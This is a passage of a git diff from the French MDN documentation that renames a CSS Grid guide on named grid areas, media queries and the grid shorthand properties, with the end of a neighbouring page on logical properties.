+  justify-content: space-between;
+}
+.wrapper a {
+  text-decoration: none;
+}
+
+ +
<div class="wrapper">
+  <div class="content">
+    <p>Turnip greens yarrow ricebean rutabaga endive cauliflower sea lettuce kohlrabi amaranth water spinach avocado daikon napa cabbage asparagus winter purslane kale. Celery potato scallion desert raisin horseradish spinach carrot soko. Lotus root water spinach fennel kombu maize bamboo shoot green bean swiss chard seakale pumpkin onion chickpea gram corn pea. Brussels sprout coriander water chestnut gourd swiss chard wakame kohlrabi beetroot carrot watercress. Corn amaranth salsify bunya nuts nori azuki bean chickweed potato bell pepper artichoke.</p>
+    <p>Nori grape silver beet broccoli kombu beet greens fava bean potato quandong celery. Bunya nuts black-eyed pea prairie turnip leek lentil turnip greens parsnip. Sea lettuce lettuce water chestnut eggplant winter purslane fennel azuki bean earthnut pea sierra leone bologi leek soko chicory celtuce parsley jícama salsify.</p>
+  </div>
+  <nav>
+    <ul>
+      <li><a href="">Lien 1</a></li>
+      <li><a href="">Lien 2</a></li>
+      <li><a href="">Lien 3</a></li>
+    </ul>
+  </nav>
+</div>
+
+ +

{{EmbedLiveSample('writing_7', '500', '330')}}

+
+ +

Les valeurs physiques et les grilles CSS

+ +

On rencontre souvent les propriétés physiques lorsqu'on construit un site web et, bien que la grille et les propriétés logiques permettent de respecter les modes d'écriture, il existe certains effets qui ne peuvent être obtenus qu'avec des propriétés et des valeurs physiques. Dans le guide sur l'alignement des boîtes et les grilles, nous avons vu comment utiliser les marges automatiques sur les zones d'une grille. Utiliser les marges automatiques pour contraindre le placement d'un élément est une astuce qu'on rencontre aussi avec les boîtes flexibles mais cela couple la disposition avec l'espace physique.

+ +

Si on utilise le positionnement absolu dans une zone d'une grille, là encore, on utilisera des décalages physiques pour décaler l'élément au sein de la zone. Dans ces cas, il faut être conscient du couplage qu'on ajoute avec l'espace physique et comprendre qu'il faudra adapter la feuille de style si on veut par exemple passer d'un mode ltr à un mode rtl.

+ +

Utiliser les propriétés logiques partout

+ +

Les nouvelles méthodes de disposition, comme les grilles, permettent d'employer les valeurs logiques afin de placer les éléments. Cependant, dès qu'on combine ces valeurs avec des propriétés physiques, il faut maintenir ces dernières lorsque le mode d'écriture change.

+ +

La spécification sur les propriétés logiques en CSS vise à résoudre ce problème. Nous pourrons peut-être utiliser demain des équivalents logiques pour chacune des propriétés physiques telles que {{cssxref("margin-left")}} et {{cssxref("margin-right")}}. Firefox a déjà implémenté ces propriétés logiques et vous pouvez les y tester. En utilisant les grilles et en manipulant l'axe de bloc et l'axe de ligne, vous saurez également comment fonctionnent ces propriétés logiques à venir.

+ +

{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Alignement_des_boîtes_avec_les_grilles_CSS", "Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_et_l_accessibilité","Web/CSS/CSS_Grid_Layout")}}

diff --git "a/files/fr/web/css/css_grid_layout/d\303\251finir_des_zones_sur_une_grille/index.html" "b/files/fr/web/css/css_grid_layout/d\303\251finir_des_zones_sur_une_grille/index.html" deleted file mode 100644 index be9c0122a7..0000000000 --- "a/files/fr/web/css/css_grid_layout/d\303\251finir_des_zones_sur_une_grille/index.html" +++ /dev/null @@ -1,482 +0,0 @@ ---- -title: Définir des zones sur une grille -slug: Web/CSS/CSS_Grid_Layout/Définir_des_zones_sur_une_grille -tags: - - CSS - - CSS Grids - - Grilles CSS - - Guide -translation_of: Web/CSS/CSS_Grid_Layout/Grid_Template_Areas ---- -
{{CSSRef}}
- -

{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Placer_les_éléments_sur_les_lignes_d_une_grille_CSS", "Web/CSS/CSS_Grid_Layout/Utiliser_des_lignes_nommées_sur_une_grille","Web/CSS/CSS_Grid_Layout")}}

- -

Dans le guide précédent, on a étudié les lignes formées par une grille et comment positionner des objets sur ces lignes. Lorsqu'on utilise une grille CSS, on a toujours ces lignes et celles-ci permettent d'avoir une disposition simple. Toutefois, il existe une autre méthode de disposition avec les grilles, qu'on peut utiliser seule ou combinée avec les lignes. Avec cette méthode, on place les éléments sur des zones de la grille. Nous allons voir dans ce guide comment cela fonctionne voire comment on peut faire de l'ASCII-art en CSS avec les grilles !

- -

Donner un nom à une zone de grille

- -

On a déjà utilisé la propriété {{cssxref("grid-area")}} précédemment. C'est cette propriété qui utilise les numéros des lignes comme valeur pour positionner une zone de grille :

- -
.box1 {
-   grid-area: 1 / 1 / 4 / 2;
-}
-
- -

Ici, on définit les quatre lignes qui entourent la zone en question :

- -

The Grid Area defined by lines

- -

On peut également définir une zone en lui donnant un nom puis en définissant l'emplacement de cette zone grâce à la propriété {{cssxref("grid-template-areas")}}. Vous pouvez choisir les noms de vos zones, on peut par exemple créer une disposition avec quatre zones :

- -
    -
  • Un en-tête (header)
    • -
  • Un pied de page (footer)
    • -
  • Une barre latérale (sidebar)
    • -
  • Le contenu principale (content)
    • -
- -

An image showing a simple two column layout with header and footer

- -

Avec {{cssxref("grid-area")}}, on affecte un nom à chacune de ces zones. Pour le moment, aucune disposition n'a été créée mais on a des noms qu'on pourra utiliser dans notre disposition :

- -
-
.header {
-  grid-area: hd;
-}
-.footer {
-  grid-area: ft;
-}
-.content {
-  grid-area: main;
-}
-.sidebar {
-  grid-area: sd;
-}
-
- -

Grâce à ces noms, on peut créer l'organisation. Cette fois, plutôt que de placer les objets grâce aux numéros de ligne, on définit la disposition dans le conteneur de la grille :

- -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(9, 1fr);
-  grid-auto-rows: minmax(100px, auto);
-  grid-template-areas:
-    "hd hd hd hd   hd   hd   hd   hd   hd"
-    "sd sd sd main main main main main main"
-    "ft ft ft ft   ft   ft   ft   ft   ft";
-}
-
- - - -
<div class="wrapper">
-  <div class="header">En-tête</div>
-  <div class="sidebar">Barre latérale</div>
-  <div class="content">Contenu</div>
-  <div class="footer">Pied de page</div>
-</div>
- -

{{EmbedLiveSample('Grid_Area_1', '300', '330')}}

-
- -

Grâce à cette méthode, il n'est pas nécessaire de gérer chacun des éléments individuellement. Tout est organisé au travers du conteneur. La disposition est décrite grâce à la propriété {{cssxref("grid-template-areas")}}.

- -

Laisser une cellule vide

- -

Dans l'exemple précédent, toute la grille est occupée… On peut également utiliser cette méthode pour laisser des cellules vides. Pour cela, il faut utiliser un point à la place d'un nom de zone. Aussi, si on veut que le pied de page soit uniquement affiché sous le contenu, il faudra avoir trois cellules vides sous la barre latérale.

- -
.header {
-  grid-area: hd;
-}
-.footer {
-  grid-area: ft;
-}
-.content {
-  grid-area: main;
-}
-.sidebar {
-  grid-area: sd;
-}
-
- - - -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(9, 1fr);
-  grid-auto-rows: minmax(100px, auto);
-  grid-template-areas:
-      "hd hd hd hd   hd   hd   hd   hd   hd"
-      "sd sd sd main main main main main main"
-      ".  .  .  ft   ft   ft   ft   ft   ft";
-}
-
- -
<div class="wrapper">
-  <div class="header">En-tête</div>
-  <div class="sidebar">Barre latérale</div>
-  <div class="content">Contenu</div>
-  <div class="footer">Pied de page</div>
-</div>
- -

{{EmbedLiveSample('Laisser_une_cellule_vide', '300', '330')}}

- -

Si on veut que la disposition soit bien représentée, on peut utiliser plusieurs points. Tant que ceux-ci ne sont pas séparés par un espace, ils compteront pour une seule cellule. Dans le cas d'une disposition complexe, cela permet d'avoir des lignes et colonnes clairement alignées, y compris dans la règle CSS.

- -

Occuper plusieurs cellules

- -

Dans notre exemple, chacune des zones occupe plusieurs cellules car on a répété le nom de la zone avec des espaces entre (on peut ajouter plus d'espaces si besoin, afin d'avoir une disposition lisible, c'est ce qu'on a fait précédemment pour que hd et ft soient alignés avec main).

- -

La zone qu'on crée avec les noms doit être rectangulaires. Actuellement, il n'existe pas de méthode pour créer une zone avec une forme de L (bien que la spécification indique qu'une prochaine version pourrait couvrir cette fonctionnalité). On peut toutefois agrandir des lignes horizontales aussi simplement que des colonnes. Par exemple, on pourrait avoir la barre latérale qui descend jusqu'en bas en remplaçant les points par sd.

- -
.header {
-  grid-area: hd;
-}
-.footer {
-  grid-area: ft;
-}
-.content {
-  grid-area: main;
-}
-.sidebar {
-  grid-area: sd;
-}
-
- - - -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(9, 1fr);
-  grid-auto-rows: minmax(100px, auto);
-  grid-template-areas:
-    "hd hd hd hd   hd   hd   hd   hd   hd"
-    "sd sd sd main main main main main main"
-    "sd sd sd  ft  ft   ft   ft   ft   ft";
-}
-
- - - -

{{EmbedLiveSample('Occuper_plusieurs_cellules', '300', '330')}}

- -

La valeur utilisée pour {{cssxref("grid-template-areas")}} doit obligatoirement décrire une grille complète, sinon elle est considérée invalide et la propriété est ignorée. Cela signifie qu'il faut le même nombre de cellules pour chaque ligne (si une cellule est vide, on l'indiquera avec un point). Si des zones ne sont pas rectangulaires, cela sera également considéré comme invalide.

- -

Redéfinir une grille à avec des media queries

- -

Notre disposition fait désormais partie de notre feuille de style CSS. On peut donc l'adapter très facilement pour différentes résolutions. On peut redéfinir la position des objets sur la grille ou la grille elle-même, ou les deux simultanément.

- -

Pour ce faire, on définit les noms des zones en dehors de toute media query afin de pouvoir y accéder quel que soit l'endroit où la zone sera placée.

- -

Pour la disposition vue précédemment, on définit ici une disposition par défaut sur une seule colonne pour les affichages étroits. On a donc une seule piste sur laquelle s'empilent les objets :

- - - -
.header {
-  grid-area: hd;
-}
-.footer {
-  grid-area: ft;
-}
-.content {
-  grid-area: main;
-}
-.sidebar {
-  grid-area: sd;
-}
-
-.wrapper {
-  display: grid;
-  grid-auto-rows: minmax(100px, auto);
-  grid-template-columns: 1fr;
-  grid-template-areas:
-    "hd"
-    "main"
-    "sd"
-    "ft";
-}
-
- -

On peut ensuite redéfinir la disposition à l'intérieur des différentes media queries utilisées pour avoir une disposition sur deux colonnes, voire trois lorsque l'espace le permet. On notera que pour la disposition la plus large, on a une grille organisée sur 9 colonnes/pistes et on redéfinit l'emplacement des objets avec grid-template-areas.

- -
@media (min-width: 500px) {
-  .wrapper {
-    grid-template-columns: repeat(9, 1fr);
-    grid-template-areas:
-      "hd hd hd hd   hd   hd   hd   hd   hd"
-      "sd sd sd main main main main main main"
-      "sd sd sd  ft  ft   ft   ft   ft   ft";
-  }
-}
-@media (min-width: 700px) {
-  .wrapper {
-    grid-template-areas:
-      "hd hd hd   hd   hd   hd   hd   hd hd"
-      "sd sd main main main main main ft ft";
-  }
-}
-
- - - -

{{EmbedLiveSample("Redéfinir_une_grille_avec_des_media_queries", '550', '330')}}

- -

Utiliser grid-template-areas pour des éléments d'interface utilisateur

- -

La plupart des exemples illustrent une utilisation de la grille pour la disposition principale de la page. Toutefois, une grille peut également être utile pour les petits éléments. {{cssxref("grid-template-areas")}} est assez pratique car elle permet de voir facilement à quoi ressemblera l'élément.

- -

Dans l'exemple qui suit, on crée un objet « media » qui servira de composant pour afficher un media (une image par exemple) d'un côté et un texte de l'autre. On pourra ainsi voir l'effet obtenu en changeant la disposition avec l'image à droite ou à gauche.

- -

Images showing an example media object design

- -

Ici, la grille se compose de deux pistes en colonnes. La colonne pour l'image est dimensionnée avec 1fr et celle pour le texte reçoit 3fr. Si on souhaitait utiliser une largeur fixe pour l'image, on aurait pu utiliser des pixels pour définir la taille de la colonne et utiliser 1fr pour la zone du texte. Cette colonne de 1fr aurait alors occupé le reste de l'espace.

- -

Pour la zone dédiée à l'image, on crée une zone de grille intitulée img et pour le texte, on crée une seconde zone intitulée content. Ensuite, on utilise ces noms pour créer l'organisation via la propriété grid-template-areas.

- -
-
* {box-sizing: border-box;}
-
-.media {
-  border: 2px solid #f76707;
-  border-radius: 5px;
-  background-color: #fff4e6;
-  max-width: 400px;
-}
-.media {
-  display: grid;
-  grid-template-columns: 1fr 3fr;
-  grid-template-areas: "img content";
-  margin-bottom: 1em;
-}
-
-.media .image {
-  grid-area: img;
-  background-color: #ffd8a8;
-}
-
-.media .text {
-  grid-area: content;
-  padding: 10px;
-}
-
- -
<div class="media">
-  <div class="image"></div>
-  <div class="text">
-    Dans cet exemple, on peut utiliser
-    grid-template-areas pour échanger les
-    places du texte et du media.
-  </div>
-</div>
- -

{{EmbedLiveSample('Media_1', '300', '200')}}

-
- -

Afficher l'image de l'autre côté

- -

Si on a besoin d'afficher l'image d l'autre côté, il suffit de redéfinir une grille pour laquelle la piste qui mesure 1fr est en dernier et d'échanger les valeurs dans {{cssxref("grid-template-areas")}}.

- -
-
* {box-sizing: border-box;}
-
-.media {
-  border: 2px solid #f76707;
-  border-radius: 5px;
-  background-color: #fff4e6;
-  max-width: 400px;
-}
-.media {
-  display: grid;
-  grid-template-columns: 1fr 3fr;
-  grid-template-areas: "img content";
-  margin-bottom: 1em;
-}
-
-.media.flipped {
-  grid-template-columns: 3fr 1fr;
-  grid-template-areas: "content img";
-}
-
-.media .image {
-  grid-area: img;
-  background-color: #ffd8a8;
-}
-
-.media .text {
-  grid-area: content;
-  padding: 10px;
-}
-
- -
<div class="media flipped">
-  <div class="image"></div>
-  <div class="text">
-    Dans cet exemple, on peut utiliser
-    grid-template-areas pour échanger les
-    places du texte et du media.
-  </div>
-</div>
- -

{{EmbedLiveSample('Media_2', '300', '200') }}

-
- -

Les propriétés raccourcies pour les grilles CSS

- -

Nous avons vu différentes façons de placer des objets sur une grille et plusieurs des propriétés utilisées pour définir une grille. Voyons maintenant les propriétés raccourcies qui sont disponibles pour les grilles CSS et qui permettent de rendre le code un peu plus concis.

- -

Attention, ces propriétés peuvent parfois devenir complexes à lire, que ce soit pour les autres développeurs qui liraient votre code voire pour vous-même d'ici quelques semaines. Cependant, elles font partie de la spécification et vous pourrez les rencontrer dans des exemples ou dans d'autres bases de code.

- -

Avant d'utiliser une propriété raccourcie, il est préférable de se rappeler qu'une propriété raccourcie permet d'en définir plusieurs grâce à une seule règle mais aussi qu'une propriété raccourcie réinitialise les propriétés avec leurs valeurs initiales lorsqu'elles ne sont pas déclarées via la propriété raccourcie. Aussi, si vous utilisez une propriété raccourcie, sachez qu'elle peut réinitialiser une propriété que vous auriez utilisé autre part.

- -

Les deux propriétés raccourcies pour les grilles sont grid-template et grid.

- -

grid-template

- -

La propriété {{cssxref("grid-template")}} permet de définir les propriétés suivantes :

- -
    -
  • {{cssxref("grid-template-rows")}}
    • -
  • {{cssxref("grid-template-columns")}}
    • -
  • {{cssxref("grid-template-areas")}}
    • -
- -

Cette propriété est appelée propriété raccourcie « explicite » car elle permet de paramétrer les aspects d'une grille définie explicitement. Elle n'a pas d'impact sur les propriétés qui créeraient des lignes ou colonnes implicites.

- -

Le fragment de code suivant crée une disposition identique à celle que nous avons vu plus haut dans cet article.

- -
.wrapper {
-    display: grid;
-    grid-template:
-      "hd hd hd hd   hd   hd   hd   hd   hd" minmax(100px, auto)
-      "sd sd sd main main main main main main" minmax(100px, auto)
-      "ft ft ft ft   ft   ft   ft   ft   ft" minmax(100px, auto)
-             / 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr ;
-}
-
- -

La première valeur correspond à celle de grid-template-areas mais on déclare également les tailles de chaque ligne à la fin de chaque ligne (avec minmax(100px, auto)).

- -

Après la valeur de grid-template-areas, on a un barre oblique (/) puis une liste de pistes qui définit les colonnes explicitement.

- -

grid

- -

La propriété {{cssxref("grid")}} va un cran plus loin et définit également les propriétés utilisées par la grille implicite. Elle permet de paramétrer :

- -
    -
  • {{cssxref("grid-template-rows")}}
    • -
  • {{cssxref("grid-template-columns")}}
    • -
  • {{cssxref("grid-template-areas")}}
    • -
  • {{cssxref("grid-auto-rows")}}
    • -
  • {{cssxref("grid-auto-columns")}}
    • -
  • {{cssxref("grid-auto-flow")}}
    • -
- -

Cette propriété réinitialise également la propriété {{cssxref("grid-gap")}} avec la valeur 0 mais, en revanche, elle ne permet pas de définir des espaces.

- -

On peut utiliser la même syntaxe qu'avec {{cssxref("grid-template")}} mais attention, cela réinitialisera les valeurs des autres propriétés :

- -
.wrapper {
-    display: grid;
-    grid: "hd hd hd hd   hd   hd   hd   hd   hd" minmax(100px, auto)
-    "sd sd sd main main main main main main" minmax(100px, auto)
-    "ft ft ft ft   ft   ft   ft   ft   ft" minmax(100px, auto)
-    / 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr ;
-}
-
- -

Dans les articles suivants, nous verrons les fonctionnalités offertes par cette propriété raccourcie, notamment pour le placement automatique et pour la propriété grid-auto-flow.

- -

Après ces quelques guides, vous devriez désormais être en mesure de créer des grilles et de placer les éléments sur des lignes ou grâce à des zones nommées. Prenez le temps de construire certains motifs « classiques » à l'aide de grille pour mieux apprendre en manipulant. Au fur et à mesure, vous aurez des questions et arriverez sur des scénarios que nous n'avons pas encore évoqués. Dans la suite de ces articles, nous nous intéresserons plus en détails aux autres éléments de la spécification afin de pouvoir créer des dispositions plus complexes.

- -

{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Placer_les_éléments_sur_les_lignes_d_une_grille_CSS", "Web/CSS/CSS_Grid_Layout/Utiliser_des_lignes_nommées_sur_une_grille","Web/CSS/CSS_Grid_Layout")}}

diff --git a/files/fr/web/css/css_grid_layout/grid_template_areas/index.html b/files/fr/web/css/css_grid_layout/grid_template_areas/index.html new file mode 100644 index 0000000000..be9c0122a7 --- /dev/null +++ b/files/fr/web/css/css_grid_layout/grid_template_areas/index.html @@ -0,0 +1,482 @@ +--- +title: Définir des zones sur une grille +slug: Web/CSS/CSS_Grid_Layout/Définir_des_zones_sur_une_grille +tags: + - CSS + - CSS Grids + - Grilles CSS + - Guide +translation_of: Web/CSS/CSS_Grid_Layout/Grid_Template_Areas +--- +
{{CSSRef}}
+ +

{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Placer_les_éléments_sur_les_lignes_d_une_grille_CSS", "Web/CSS/CSS_Grid_Layout/Utiliser_des_lignes_nommées_sur_une_grille","Web/CSS/CSS_Grid_Layout")}}

+ +

Dans le guide précédent, on a étudié les lignes formées par une grille et comment positionner des objets sur ces lignes. Lorsqu'on utilise une grille CSS, on a toujours ces lignes et celles-ci permettent d'avoir une disposition simple. Toutefois, il existe une autre méthode de disposition avec les grilles, qu'on peut utiliser seule ou combinée avec les lignes. Avec cette méthode, on place les éléments sur des zones de la grille. Nous allons voir dans ce guide comment cela fonctionne voire comment on peut faire de l'ASCII-art en CSS avec les grilles !

+ +

Donner un nom à une zone de grille

+ +

On a déjà utilisé la propriété {{cssxref("grid-area")}} précédemment. C'est cette propriété qui utilise les numéros des lignes comme valeur pour positionner une zone de grille :

+ +
.box1 {
+   grid-area: 1 / 1 / 4 / 2;
+}
+
+ +

Ici, on définit les quatre lignes qui entourent la zone en question :

+ +

The Grid Area defined by lines

+ +

On peut également définir une zone en lui donnant un nom puis en définissant l'emplacement de cette zone grâce à la propriété {{cssxref("grid-template-areas")}}. Vous pouvez choisir les noms de vos zones, on peut par exemple créer une disposition avec quatre zones :

+ +
    +
  • Un en-tête (header)
    • +
  • Un pied de page (footer)
    • +
  • Une barre latérale (sidebar)
    • +
  • Le contenu principale (content)
    • +
+ +

An image showing a simple two column layout with header and footer

+ +

Avec {{cssxref("grid-area")}}, on affecte un nom à chacune de ces zones. Pour le moment, aucune disposition n'a été créée mais on a des noms qu'on pourra utiliser dans notre disposition :

+ +
+
.header {
+  grid-area: hd;
+}
+.footer {
+  grid-area: ft;
+}
+.content {
+  grid-area: main;
+}
+.sidebar {
+  grid-area: sd;
+}
+
+ +

Grâce à ces noms, on peut créer l'organisation. Cette fois, plutôt que de placer les objets grâce aux numéros de ligne, on définit la disposition dans le conteneur de la grille :

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(9, 1fr);
+  grid-auto-rows: minmax(100px, auto);
+  grid-template-areas:
+    "hd hd hd hd   hd   hd   hd   hd   hd"
+    "sd sd sd main main main main main main"
+    "ft ft ft ft   ft   ft   ft   ft   ft";
+}
+
+ + + +
<div class="wrapper">
+  <div class="header">En-tête</div>
+  <div class="sidebar">Barre latérale</div>
+  <div class="content">Contenu</div>
+  <div class="footer">Pied de page</div>
+</div>
+ +

{{EmbedLiveSample('Grid_Area_1', '300', '330')}}

+
+ +

Grâce à cette méthode, il n'est pas nécessaire de gérer chacun des éléments individuellement. Tout est organisé au travers du conteneur. La disposition est décrite grâce à la propriété {{cssxref("grid-template-areas")}}.

+ +

Laisser une cellule vide

+ +

Dans l'exemple précédent, toute la grille est occupée… On peut également utiliser cette méthode pour laisser des cellules vides. Pour cela, il faut utiliser un point à la place d'un nom de zone. Aussi, si on veut que le pied de page soit uniquement affiché sous le contenu, il faudra avoir trois cellules vides sous la barre latérale.

+ +
.header {
+  grid-area: hd;
+}
+.footer {
+  grid-area: ft;
+}
+.content {
+  grid-area: main;
+}
+.sidebar {
+  grid-area: sd;
+}
+
+ + + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(9, 1fr);
+  grid-auto-rows: minmax(100px, auto);
+  grid-template-areas:
+      "hd hd hd hd   hd   hd   hd   hd   hd"
+      "sd sd sd main main main main main main"
+      ".  .  .  ft   ft   ft   ft   ft   ft";
+}
+
+ +
<div class="wrapper">
+  <div class="header">En-tête</div>
+  <div class="sidebar">Barre latérale</div>
+  <div class="content">Contenu</div>
+  <div class="footer">Pied de page</div>
+</div>
+ +

{{EmbedLiveSample('Laisser_une_cellule_vide', '300', '330')}}

+ +

Si on veut que la disposition soit bien représentée, on peut utiliser plusieurs points. Tant que ceux-ci ne sont pas séparés par un espace, ils compteront pour une seule cellule. Dans le cas d'une disposition complexe, cela permet d'avoir des lignes et colonnes clairement alignées, y compris dans la règle CSS.

+ +

Occuper plusieurs cellules

+ +

Dans notre exemple, chacune des zones occupe plusieurs cellules car on a répété le nom de la zone avec des espaces entre (on peut ajouter plus d'espaces si besoin, afin d'avoir une disposition lisible, c'est ce qu'on a fait précédemment pour que hd et ft soient alignés avec main).

+ +

La zone qu'on crée avec les noms doit être rectangulaires. Actuellement, il n'existe pas de méthode pour créer une zone avec une forme de L (bien que la spécification indique qu'une prochaine version pourrait couvrir cette fonctionnalité). On peut toutefois agrandir des lignes horizontales aussi simplement que des colonnes. Par exemple, on pourrait avoir la barre latérale qui descend jusqu'en bas en remplaçant les points par sd.

+ +
.header {
+  grid-area: hd;
+}
+.footer {
+  grid-area: ft;
+}
+.content {
+  grid-area: main;
+}
+.sidebar {
+  grid-area: sd;
+}
+
+ + + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(9, 1fr);
+  grid-auto-rows: minmax(100px, auto);
+  grid-template-areas:
+    "hd hd hd hd   hd   hd   hd   hd   hd"
+    "sd sd sd main main main main main main"
+    "sd sd sd  ft  ft   ft   ft   ft   ft";
+}
+
+ + + +

{{EmbedLiveSample('Occuper_plusieurs_cellules', '300', '330')}}

+ +

La valeur utilisée pour {{cssxref("grid-template-areas")}} doit obligatoirement décrire une grille complète, sinon elle est considérée invalide et la propriété est ignorée. Cela signifie qu'il faut le même nombre de cellules pour chaque ligne (si une cellule est vide, on l'indiquera avec un point). Si des zones ne sont pas rectangulaires, cela sera également considéré comme invalide.

+ +

Redéfinir une grille à avec des media queries

+ +

Notre disposition fait désormais partie de notre feuille de style CSS. On peut donc l'adapter très facilement pour différentes résolutions. On peut redéfinir la position des objets sur la grille ou la grille elle-même, ou les deux simultanément.

+ +

Pour ce faire, on définit les noms des zones en dehors de toute media query afin de pouvoir y accéder quel que soit l'endroit où la zone sera placée.

+ +

Pour la disposition vue précédemment, on définit ici une disposition par défaut sur une seule colonne pour les affichages étroits. On a donc une seule piste sur laquelle s'empilent les objets :

+ + + +
.header {
+  grid-area: hd;
+}
+.footer {
+  grid-area: ft;
+}
+.content {
+  grid-area: main;
+}
+.sidebar {
+  grid-area: sd;
+}
+
+.wrapper {
+  display: grid;
+  grid-auto-rows: minmax(100px, auto);
+  grid-template-columns: 1fr;
+  grid-template-areas:
+    "hd"
+    "main"
+    "sd"
+    "ft";
+}
+
+ +

On peut ensuite redéfinir la disposition à l'intérieur des différentes media queries utilisées pour avoir une disposition sur deux colonnes, voire trois lorsque l'espace le permet. On notera que pour la disposition la plus large, on a une grille organisée sur 9 colonnes/pistes et on redéfinit l'emplacement des objets avec grid-template-areas.

+ +
@media (min-width: 500px) {
+  .wrapper {
+    grid-template-columns: repeat(9, 1fr);
+    grid-template-areas:
+      "hd hd hd hd   hd   hd   hd   hd   hd"
+      "sd sd sd main main main main main main"
+      "sd sd sd  ft  ft   ft   ft   ft   ft";
+  }
+}
+@media (min-width: 700px) {
+  .wrapper {
+    grid-template-areas:
+      "hd hd hd   hd   hd   hd   hd   hd hd"
+      "sd sd main main main main main ft ft";
+  }
+}
+
+ + + +

{{EmbedLiveSample("Redéfinir_une_grille_avec_des_media_queries", '550', '330')}}

+ +

Utiliser grid-template-areas pour des éléments d'interface utilisateur

+ +

La plupart des exemples illustrent une utilisation de la grille pour la disposition principale de la page. Toutefois, une grille peut également être utile pour les petits éléments. {{cssxref("grid-template-areas")}} est assez pratique car elle permet de voir facilement à quoi ressemblera l'élément.

+ +

Dans l'exemple qui suit, on crée un objet « media » qui servira de composant pour afficher un media (une image par exemple) d'un côté et un texte de l'autre. On pourra ainsi voir l'effet obtenu en changeant la disposition avec l'image à droite ou à gauche.

+ +

Images showing an example media object design

+ +

Ici, la grille se compose de deux pistes en colonnes. La colonne pour l'image est dimensionnée avec 1fr et celle pour le texte reçoit 3fr. Si on souhaitait utiliser une largeur fixe pour l'image, on aurait pu utiliser des pixels pour définir la taille de la colonne et utiliser 1fr pour la zone du texte. Cette colonne de 1fr aurait alors occupé le reste de l'espace.

+ +

Pour la zone dédiée à l'image, on crée une zone de grille intitulée img et pour le texte, on crée une seconde zone intitulée content. Ensuite, on utilise ces noms pour créer l'organisation via la propriété grid-template-areas.

+ +
+
* {box-sizing: border-box;}
+
+.media {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+  max-width: 400px;
+}
+.media {
+  display: grid;
+  grid-template-columns: 1fr 3fr;
+  grid-template-areas: "img content";
+  margin-bottom: 1em;
+}
+
+.media .image {
+  grid-area: img;
+  background-color: #ffd8a8;
+}
+
+.media .text {
+  grid-area: content;
+  padding: 10px;
+}
+
+ +
<div class="media">
+  <div class="image"></div>
+  <div class="text">
+    Dans cet exemple, on peut utiliser
+    grid-template-areas pour échanger les
+    places du texte et du media.
+  </div>
+</div>
+ +

{{EmbedLiveSample('Media_1', '300', '200')}}

+
+ +

Afficher l'image de l'autre côté

+ +

Si on a besoin d'afficher l'image d l'autre côté, il suffit de redéfinir une grille pour laquelle la piste qui mesure 1fr est en dernier et d'échanger les valeurs dans {{cssxref("grid-template-areas")}}.

+ +
+
* {box-sizing: border-box;}
+
+.media {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+  max-width: 400px;
+}
+.media {
+  display: grid;
+  grid-template-columns: 1fr 3fr;
+  grid-template-areas: "img content";
+  margin-bottom: 1em;
+}
+
+.media.flipped {
+  grid-template-columns: 3fr 1fr;
+  grid-template-areas: "content img";
+}
+
+.media .image {
+  grid-area: img;
+  background-color: #ffd8a8;
+}
+
+.media .text {
+  grid-area: content;
+  padding: 10px;
+}
+
+ +
<div class="media flipped">
+  <div class="image"></div>
+  <div class="text">
+    Dans cet exemple, on peut utiliser
+    grid-template-areas pour échanger les
+    places du texte et du media.
+  </div>
+</div>
+ +

{{EmbedLiveSample('Media_2', '300', '200') }}

+
+ +

Les propriétés raccourcies pour les grilles CSS

+ +

Nous avons vu différentes façons de placer des objets sur une grille et plusieurs des propriétés utilisées pour définir une grille. Voyons maintenant les propriétés raccourcies qui sont disponibles pour les grilles CSS et qui permettent de rendre le code un peu plus concis.

+ +

Attention, ces propriétés peuvent parfois devenir complexes à lire, que ce soit pour les autres développeurs qui liraient votre code voire pour vous-même d'ici quelques semaines. Cependant, elles font partie de la spécification et vous pourrez les rencontrer dans des exemples ou dans d'autres bases de code.

+ +

Avant d'utiliser une propriété raccourcie, il est préférable de se rappeler qu'une propriété raccourcie permet d'en définir plusieurs grâce à une seule règle mais aussi qu'une propriété raccourcie réinitialise les propriétés avec leurs valeurs initiales lorsqu'elles ne sont pas déclarées via la propriété raccourcie. Aussi, si vous utilisez une propriété raccourcie, sachez qu'elle peut réinitialiser une propriété que vous auriez utilisé autre part.

+ +

Les deux propriétés raccourcies pour les grilles sont grid-template et grid.

+ +

grid-template

+ +

La propriété {{cssxref("grid-template")}} permet de définir les propriétés suivantes :

+ +
    +
  • {{cssxref("grid-template-rows")}}
    • +
  • {{cssxref("grid-template-columns")}}
    • +
  • {{cssxref("grid-template-areas")}}
    • +
+ +

Cette propriété est appelée propriété raccourcie « explicite » car elle permet de paramétrer les aspects d'une grille définie explicitement. Elle n'a pas d'impact sur les propriétés qui créeraient des lignes ou colonnes implicites.

+ +

Le fragment de code suivant crée une disposition identique à celle que nous avons vu plus haut dans cet article.

+ +
.wrapper {
+    display: grid;
+    grid-template:
+      "hd hd hd hd   hd   hd   hd   hd   hd" minmax(100px, auto)
+      "sd sd sd main main main main main main" minmax(100px, auto)
+      "ft ft ft ft   ft   ft   ft   ft   ft" minmax(100px, auto)
+             / 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr ;
+}
+
+ +

La première valeur correspond à celle de grid-template-areas mais on déclare également les tailles de chaque ligne à la fin de chaque ligne (avec minmax(100px, auto)).

+ +

Après la valeur de grid-template-areas, on a un barre oblique (/) puis une liste de pistes qui définit les colonnes explicitement.

+ +

grid

+ +

La propriété {{cssxref("grid")}} va un cran plus loin et définit également les propriétés utilisées par la grille implicite. Elle permet de paramétrer :

+ +
    +
  • {{cssxref("grid-template-rows")}}
    • +
  • {{cssxref("grid-template-columns")}}
    • +
